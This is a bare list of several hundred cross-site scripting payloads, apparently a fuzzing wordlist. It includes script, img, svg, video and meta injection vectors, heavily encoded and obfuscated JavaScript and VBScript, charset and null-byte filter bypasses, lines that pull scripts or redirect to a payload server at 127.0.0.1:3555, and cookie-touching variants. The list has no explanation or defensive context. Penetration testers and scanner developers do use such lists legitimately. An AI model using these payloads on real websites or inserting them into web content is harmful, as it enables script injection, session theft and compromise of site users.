'><img language=JScript.Encode onerror=#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ src=a>
'><img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@” src=a>
'><img o[%00]nerror=alert(1) src=a>
'><img onerror=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@ src=a>
'><img onerror=alert(1)src=a>
'><img onerror=vbs:MsgBox 1 src=a>
'><img onerror=eval('al\u0065rt(1)') src=a>
'><img onerror=MsgBox+1 language=vbs src=a>
'><img onerror=`alert(1)`src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=alert(1) src=a>
'><img onerror=’alert(1)’src=a>
'><img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@” src=a>
'><img onerror=”alert(1)”src=a>
'><img onerror=”vbs:MsgBox 1” src=a>
'><img src = http://127.0.0.1:3555/xss_serve_payloads/X.js>
'><img src = http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>
'><img src = ”http://127.0.0.1:3555/xss_serve_payloads/X.js”>
'><img src = ”http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp”>
'><img src ?itworksonchrome?\/onerror = alert(1)
'><img src ?itworksonchrome?\/onerror = alert(1)???
'><img src ?itworksonchrome?\/onerror = alert(1)
'><img src onerror /" '"= alt=alert(1)//">
'><img src=<img src=x/onerror=alert(1)//> Jquery: <img/src/onerror=alert(1)>
'><img src= "a" onerror= 'eval(atob("cHJvbXB0KDEpOw=="))'
'><img src="" onerror=alert(1);>
'><img src="" onerror=alert(1)>
'><img src="blah"onmouseover="alert(1);">
'><img src="blah>" onmouseover="alert(1);">
'><img src="http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp" onerror=alert(1)>
'><img src="http://127.0.0.1:3555/xss_serve_payloads/gif.gif" onerror=alert(1)>
'><img src="http://127.0.0.1:3555/xss_serve_payloads/image.png" onerror=alert(1)>
'><img src="http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg" onerror=alert(1)>
'><img src="javascript:alert(1)">
'><img src="livescript:alert(1);">
'><img src="mocha:alert(1);">
'><img src="x:" title="onerror=alert(1)//">
'><img src="x:? title=" onerror=alert(1)//">
'><img src="x:X" onerror="alert(1)">
'><img src="x:alert" onerror="eval(src%2b'(1)')">
'><img src="x:gif" onerror="eval('al'%2b'lert(1)')">
'><img src="x:gif" onerror="window['al\u0065rt'](1)"></img>
'><img src="x:ö" title="onerror=alert(1)//">
'><img src=java scrip t:ale rt('X SS')>
'><img src=javasc ript:ale rt('XSS')>
'><img src=&{alert(1);};>
'><img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>
'><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
'><img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
'><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
'><img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
'><img src='vbscript:do%63ument.lo%63ation="http://127.0.0.1:3555/xss_serve_payloads/X.html"'>
'><img src=/ onerror=alert(1);>
'><img src=1 href=1 onerror="javascript:alert(1)"></img>
'><img src=X onerror=alert(1)>
'><img src=\"x:X\" onerror=\"alert(1)\">
'><img src=a onerror=alert(1)
'><img src=a onerror=alert(1)%0A>a
'><img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>
'><img src=x onerror="javascript:window.onerror=alert;throw 1">
'><img src=x onerror=document.body.innerHTML=location.hash>#"><img src=x onerror=prompt(1)>
'><img src=x onerror=document.body.innerHTML=location.hash>#"><img/src='x'onerror=prompt(1)>
'><img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>
'><img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>
'><img src=x onerror=prompt(1);>
'><img src=x onerror=prompt(1)>
'><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html"');>
'><img src=x:alert(alt) onerror=eval(src) alt=0>
'><img src=”<img src=x”/onerror=alert(1)//”> Jquery: <img/src/onerror=alert(1)>
'><img style="xss:expression(alert(1))">
'><img type=image src=X.gif onreadystatechange=alert(1)>
'><img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>
'><img/onerror=alert(1) src=a>
'><img/anyjunk/onerror=alert(1) src=a>
'><img/onerror=alert(1) src=a>
'><img/src="1"/onerror="alert(1)"
'><img/src="mars.png"alt="mars">
'><img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=	prompt(1)
'><img/’onerror=alert(1) src=a>
'><img/”onerror=alert(1) src=a>
'><img[%09]onerror=alert(1) src=a>
'><img[%0a]onerror=alert(1) src=a>
'><img[%0d]onerror=alert(1) src=a>
'><img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
'><img[a][b]src=x[d]onerror[c]=[e]"prompt(1)">
'><input autofocus onfocus=alert(1)>
'><input id=x><input id=x><script>alert(x)</script>
'><input onblur=alert(1) autofocus><input autofocus>
'><input onblur=javascript:alert(1) autofocus><input autofocus>
'><input onblur=write(1) autofocus><input autofocus>
'><input onfocus=javascript:alert(1) autofocus>
'><input onfocus=write(1) autofocus>
'><input oninput=alert(1)>
'><input type="image" dynsrc="javascript:alert(1);">
'><input type="image" formaction=JaVaScript:alert(0)>
'><input type="text" AUTOFOCUS onfocus=alert(1)>
'><input type="text" value=``<div/onmouseover='alert(1)'>X</div>
'><input type=image src=X.gif onreadystatechange=alert(1)>
'><input+onfocus=alert(1)>
'><isindex action="javas	cript:alert(1)" type=image>
'><isindex action="javascript:alert(1)" type=image>
'><isindex action=data:text/html, type=image>
'><isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
'><isindex action=javascript:alert(1) type=image>
'><isindex type=image src=1 onerror=alert(1)>
'><isindex type=image src=X.gif onreadystatechange=alert(1)>
'><isindexformaction="javascript:alert(1)" type=image>
'><keygen autofocus onfocus=alert(1)>
'><keygen onfocus=javascript:alert(1) autofocus>
'><li style=list-style:url() onerror=alert(1)></li>
'><link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
'><listing><img src=x onerror=alert(1)></listing>
'><marquee/onstart=confirm(1)>
'><marquee/onstart=confirm(1)>/onstart=confirm(1)>
'><marquee/onstart=confirm(2)>/
'><marquee>Kerala Cyber Force</marquee>
'><marquee>alert( `X :)`)</marquee>
'><math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/X.js">click
'><meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html">
'><meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
'><meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
'><meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>
'><meta charset=Shift_JIS><script>x="?\";alert(1)//"</script>
'><meta charset=Shift_JIS><script>x="く\";alert(1)//"</script>
'><meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>
'><meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
'><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
'><meta http-equiv="refresh" content="0; url=data:text/html;blabla,<script>alert(1)</script>">
'><meta http-equiv="refresh" content="0;javascript:alert(1)"/>
'><meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
'><meta http-equiv="refresh" content="0;javascript:alert(1)"/>
'><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html"
'><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html">
'><meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>
'><object classid="clsid:..." codebase="javascript:alert(1);">
'><object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></object>
'><object data="javascript:alert(1)">
'><object data='data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml ">confirm(1)</script>>'>
'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>?
'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
'><object data=javascript:alert(1)>
'><object onerror=alert(1)>
'><object src=1 href=1 onerror="javascript:alert(1)"></object>
'><object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
'><object type=image src=X.gif onreadystatechange=alert(1)></object>
'><object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf
'><object/data=//goo.gl/nlX0P>
'><p style="background:url('javascript:alert(1)')">
'><p style="font-family:'\22\3bx:expression(alert(1))/*'">
'><p/onmouseover=javascript:alert(1); >X</p>
'><q/oncut=alert(1)>
'><q/oncut=open()>
'><s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>
'><s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>
'><sc'+'ript>alert(1)</script>
'><scr%00ipt%20&message=> alert(X)</script>
'><scr%00ipt%20&message=> alert(‘X’)</script>
'><scr/**/ipt>alert(1)</sc/**/ipt>
'><scr<script>ipt>alert(1)</scr</script>ipt>
'><scr\x00ipt>confirm(1);</scr\x00ipt>
'><scri%00pt>alert(1);</scri%00pt>
'><scri\x00pt>alert(1);</scri%00pt>
'><scrip<script>t>alert(1)</script>
'><script a b c >alert(1)</script d e f>
'><script async>alert(1);</script async>
'><script charset>alert(1);</script charset>
'><script crossorigin>alert(1);</script>
'><script itworksinallbrowsers>/*<script* */alert(1)</script
'><script itworksinallbrowsers>/*<script* */alert(1)</script ?
'><script itworksinallbrowsers>/*<script* */alert(1)</script
'><script language=vbs>MsgBox 1</script>
'><script language=vbs>execScript(alert(1))</script>
'><script language=vbs>execScript(“alert(1)”)</script>
'><script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
'><script onreadystatechange=alert(1)>
'><script src="#">{alert(1)}</script>;1
'><script src="javascript:alert(1)">
'><script src=1 href=1 onerror="javascript:alert(1)"></script>
'><script type="text/javascript">window.open("http://127.0.0.1:3555/xss_serve_payloads/X.html","_self");</script>
'><script type=text/javascript>alert(1)</script>
'><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
'><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
'><script%20language=vbscript>msgbox%20X</script>
'><script/src=data:text/javascript,alert(1)></script>
'><script/src=data:text/javascript,alert(1)></script> ?
'><script/src=data:text/javascript,alert(1)></script>
'><script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/X/)></script
'><script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/X/)></script ????????????
'><script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/X/)></script
'><script<{alert(1)}/></script </>
'><script>alert(1).replace(/.+/,eval)</script>
'><script>({0:#0=alert/#0#/#0#(1)})</script>
'><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>
'><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
'><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>
'><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>
'><script>a\u006cert(1);</script>
'><script>alert%281%29</script>
'><script>alert("/X"/)</script>
'><script>alert('X')</script>=a
'><script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
'><script>alert(/X/)</script>
'><script>alert(1);</script>
'><script>alert(1);</script>">
'><script>alert(1);</script>;</b></a></xml>
'><script>alert(1);</script><!-- -- -->
'><script>alert(1);</script>={()}
'><script>alert(1)</script>
'><script>alert(1)</script>">
'><script>alert(1)</script>">
'><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://127.0.0.1:3555/xss_serve_payloads/X.jpg">
'><script>alert(1)</script>">X</b>
'><script>alert(1)</script>"` `>
'><script>alert(1)</script>'>">
'><script>alert(1)</script>/
'><script>alert(1)</script>;
'><script>alert(1)</script></svg>
'><script>alert(123);</script x='
'><script>alert(123)</script>
'><script>alert(21);</script x='
'><script>alert(5)</script>
'><script>alert(String.fromCharCode(75,67,70))</script>
'><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/X.js>
'><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>
'><script>alert([!![]] [])</script>
'><script>alert([!![]]+[])</script>
'><script>alert(\'1\')</script>
'><script>alert(\'\\/\\1\\/\\\')</script>
'><script>alert(\'\\\\1\\\\\')</script>
'><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>
'><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
'><script>document.body.innerHTML="<a onmouseover%0B=location='\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x61\x6C\x65\x72\x74\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B'><input name=attributes>";</script>
'><script>document.write(toStaticHTML("<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>"))</script>
'><script>eval(a\154ert(1));</script>
'><script>eval(a\l\ert\(1\));</script>
'><script>eval(a\u006cert(1));</script>
'><script>eval(a\x6cert(1));</script>
'><script>eval(al+ert(1));</script>
'><script>eval(String.fromCharCode(75,67,70));</script>
'><script>eval(atob(amF2YXNjcmlwdDphbGVydCgxKQ));</script>
'><script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>
'><script>eval(‘a\154ert(1)’);</script>
'><script>eval(‘a\l\ert\(1\)’);</script>
'><script>eval(‘a\u006cert(1)’);</script>
'><script>eval(‘a\x6cert(1)’);</script>
'><script>eval(‘al’+’ert(1)’);</script>
'><script>execScript(MsgBox 1,vbscript);</script>
'><script>execScript(“MsgBox 1”,”vbscript”);</script>
'><script>function::[alert](1)</script>
'><script>function::[‘alert’](1)</script>
'><script>history.pushState(0,0,'/i/am/somewhere_else');</script>
'><script>prompt(-[])</script>
'><script>prompt(1)</script>
'><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/X/) type=submit>'-->"></script><script>alert(1)</script>
'><script>this["alert"]("X")</script>
'><script>var a = </script><script>alert(1)</script>
'><script>var a = ‘</script><script>alert(1)</script>
'><script>var url = "<!--<script>";//</script>alert(1)</script>
'><script>var var = 1; alert(var)</script>
'><script>window.open( "http://127.0.0.1:3555/xss_serve_payloads/X.html" )</script>
'><script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
'><script>’alert(1)’.replace(/.+/,eval)</script>
'><script\x09type="text/javascript">javascript:alert(1);</script>
'><script\x0Atype="text/javascript">javascript:alert(1);</script>
'><script\x0Ctype="text/javascript">javascript:alert(1);</script>
'><script\x0Dtype="text/javascript">javascript:alert(1);</script>
'><script\x20type="text/javascript">javascript:alert(1);</script>
'><script\x2Ftype="text/javascript">javascript:alert(1);</script>
'><script\x3Etype="text/javascript">javascript:alert(1);</script>
'><select autofocus onfocus=alert(1)>
'><select onfocus=javascript:alert(1) autofocus>
'><style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
'><style onreadystatechange=alert(1)>
'><style%0conload=alert(1)>
'><style>#test{x:expression(alert(/X/))}</style>
'><style>*[{}@import'test.css?]{color: green;}</style>X
'><style>*{x:expression(write(1))}</style>
'><style><!--</style><script>alert(1);//--></script>
'><style><img src="</style><img src=x onerror=alert(1)//">
'><style><img src="</style><img src=x onerror=prompt(1)//">
'><style>@import "data:,*%7bx:expression(write(1))%7D";</style>
'><style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
'><svg onload=alert(1)>
'><svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
'><svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
'><svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
'><svg onload=\u0061lert(1)>
'><svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>
'><svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>
'><svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>
'><svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>
'><svg onload=prompt(1);>
'><svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
'><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
'><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg
'><svg+onload=confirm(1);>
'><svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(75)&chr(67)&chr(70)))
'><svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()
'><svg/onload=prompt(1);>
'><svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//
'><svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>
'><svg><![CDATA[><imagexlink:href="]]]]><![CDATA[><img/src=xx:xonerror=alert(1)//"></svg>
'><svg><script>alert( 1)
'><svg><script>alert(/1/)</script>
'><svg><script>prompt( 1)</script>
'><svg><script>varmyvar="text";alert(1)//";</script></svg>
'><svg><style><img/src=x onerror=alert(1)// </b>
'><svg><style><img src=x onerror=alert(1)></svg>
'><svg><style><img src=x onerror=alert(1)></svg>
'><svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=#rectangle" />
'><table background="javascript:alert(1)"></table>
'><table background=javascript:alert(1)></table>
'><textarea autofocus onfocus=alert(1)>
'><textarea onfocus=javascript:alert(1) autofocus>
'><title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
'><title onpropertychange=alert(1)></title><title title=></title>
'><var onmouseover="prompt(1)">X</var>
'><video onerror="javascript:alert(1)"><source>
'><video onprogress=alert(1)><source src=//a.a>
'><video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
'><video onprogress=alert(1)><source src=x>
'><video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>
'><video poster=javascript:alert(1)//></video>
'><video poster=prompt(1)//></video>
'><video src=1 href=1 onerror="javascript:alert(1)"></video>
'><video src=1 onerror=alert(1)>
'><video/onprogress=alert(1)><source/src=//a.a>
'><video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>
'><video/onprogress=alert(1)><source/src=x>
'><video><source o?UTF-8?Q?n?error="alert(1)">
'><video><source onerror="alert(1)">
'><video><source onerror="javascript:alert(1)">
'><video><source onerror="prompt(1)">
'><video><source onerror="prompt(1)"></source></video>
'><x onload'=alert(1)
'><x style="background:url('x[a];color:red;/*')">XXX</x>
'><x style="behavior:url(test.sct)">
'><x style=behavior:url(#default#time2) onbegin=alert(1)>
'><x style=x:expression(alert(1))>
'><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script>
'><xml id="X" src="test.htc"></xml><label dataformatas="html" datasrc="#X" datafld="payload"></label>
'><xml onreadystatechange=alert(1)>
'><xml src="javascript:alert(1);">
'><xml> <rect style="height:100%;width:100%" id="X" onmouseover="alert(1)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml>
'><xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'> <script> x='<%' </script> %>/ alert(2) </script> XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>
'>alert(1)</script><script/1='
'\"--></style></script><script>alert(0x000123)</script>
'`"><\x00script>javascript:alert(33)</script>
'`"><\x3Cscript>javascript:alert(32)</script>
'alert(1)'.replace(/.+/,eval)
'te' % alert('%') % 'xt';
'te' & alert('&') & 'xt';
'te' * alert('*') * 'xt';
'te' + alert('+') + 'xt';
'te' , alert(',') , 'xt';
'te' - alert('-') - 'xt';
'te' / alert('/') / 'xt';
'te' ; alert(';') ; 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' > alert('>') > 'xt';
'te' ? alert('?:') : 'xt';
'te' ^ alert('^') ^ 'xt';
'te' | alert('|') | 'xt';
'text' ( alert('()') );
'text' [ alert('[]') ];
'|\u0061lert()|'
'},document.location=window.name+'//'+
(0)['constructor']['constructor']("\141\154\145\162\164(1)")();
(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))
(X,)=>1
([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
([,ㅤ,,,,ﾠ]=""+{},[ㅤㅤ,ㅤﾠ,ﾠㅤ,ﾠﾠ,,ﾠㅤㅤ,ﾠㅤﾠ,ㅤㅤㅤ,,,ㅤㅤﾠ]=[!!ㅤ]+!ㅤ+ㅤ.ㅤ)[ﾠ+=ㅤ+ㅤㅤﾠ+ㅤㅤㅤ+ㅤㅤ+ㅤﾠ+ﾠㅤ+ﾠ+ㅤㅤ+ㅤ+ㅤﾠ][ﾠ](ﾠㅤㅤ+ﾠㅤﾠ+ﾠﾠ+ㅤﾠ+ㅤㅤ+"(-~ㅤ)")() // (–_–)
(_=>`${`${_}`[!![]<<!![]<<!![]]} ${`${_}`[~~![]]} ${`${_}`[~~!![]]}`)()
(alert(1)).replace(/.+/,eval);
(async function(){}).constructor('alert(1)')();
(async function*(){}).constructor('alert(2)')().next();
(function(a){alert(1)}).call()
(function({a,b,c}={a:1,b:2,c:3}){alert(`${a},${b},${c}`)})()
(javascript:window.onerror=confirm;throw%20document.cookie)
(location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}//<img src="x:x" onerror="if(location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}">
(new class extends Function{x(){super.constructor('alert(1)')()}}).x()
({' \'(){alert(1)}})[` \`]()
({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ 12345 /\51')()
* {-o-link:'javascript:alert(1)';-o-link-source: current;}
*/(URL[%26quot;\142\151\147%26quot;][%26quot;\143\157\156\163\164\162\165\143\164\157\162%26quot;](%26quot;\141\154\145\162\164\75\141\154\145\162\164\50\61\51%26quot;)())'%3E%3C%%20style='x:expression/*
+49/>"<iframe src=http://vulnerability-lab.com>1337
+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
+alert(1)&&null=='
+confirm(1)
+confirm(1)--
+onerror=alert(1)%3E/
+onerror=prompt(1)%3E/
+{...alert(1)}
+{...{...{...{...alert(1)}}}}
--!><svg onload=prompt(1)
--><d/ /ondrag=co\u006efir\u006d(2)>hello.
--><script>alert(123)</script>
--><script>alert(14)</script>
-1&<script>document.cookie=true;</script>
-1&{document.cookie=true;};
-1<!-- -- --><script>document.cookie=true;</script><!-- -- -->
-1</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
-1<<script>document.cookie=true;</script>
-1<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
-1<BASE HREF="javascript:document.cookie=true;//">
-1<BGSOUND SRC="javascript:document.cookie=true;">
-1<BODY BACKGROUND="javascript:document.cookie=true;">
-1<BODY ONLOAD=document.cookie=true;>
-1<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
-1<BR SIZE="&{document.cookie=true}">
-1<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
-1<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
-1<DIV STYLE="width: expression(document.cookie=true);">
-1<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
-1<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
-1<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
-1<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
-1<IMG DYNSRC="javascript:document.cookie=true;">
-1<IMG LOWSRC="javascript:document.cookie=true;">
-1<IMG SRC=" javascript:document.cookie=true;">
-1<IMG SRC="jav ascript:document.cookie=true;">
-1<IMG SRC="javascript:document.cookie=true;">
-1<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
-1<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
-1<LAYER SRC="javascript:document.cookie=true;"></LAYER>
-1<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
-1<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
-1<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
-1<SCRIPT <B>document.cookie=true;</SCRIPT>
-1<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
-1<SCRIPT>document.cookie=true;//<</SCRIPT>
-1<SCRIPT>document.cookie=true;</SCRIPT>
-1<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
-1<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
-1<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
-1<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
-1<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
-1<TABLE BACKGROUND="javascript:document.cookie=true;">
-1<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
-1<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
-1<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
-1<a href="about:<script>document.cookie=true;</script>">
-1<a href="javascript#document.cookie=true;">
-1<bgsound src="javascript:document.cookie=true;">
-1<body onload="document.cookie=true;">
-1<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]]]><![CDATA[> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
-1<div onmouseover="document.cookie=true;">
-1<div style="background-image: url(javascript:document.cookie=true;);">
-1<div style="behaviour: url([link to code]);">
-1<div style="binding: url([link to code]);">
-1<div style="width: expression(document.cookie=true;);">
-1<iframe src="javascript:document.cookie=true;>
-1<img dynsrc="javascript:document.cookie=true;">
-1<img src="blah"onmouseover="document.cookie=true;">
-1<img src="blah>" onmouseover="document.cookie=true;">
-1<img src="javascript:document.cookie=true;">
-1<img src="livescript:document.cookie=true;">
-1<img src="mocha:document.cookie=true;">
-1<img src=&{document.cookie=true;};>
-1<input type="image" dynsrc="javascript:document.cookie=true;">
-1<link rel="stylesheet" href="javascript:document.cookie=true;">
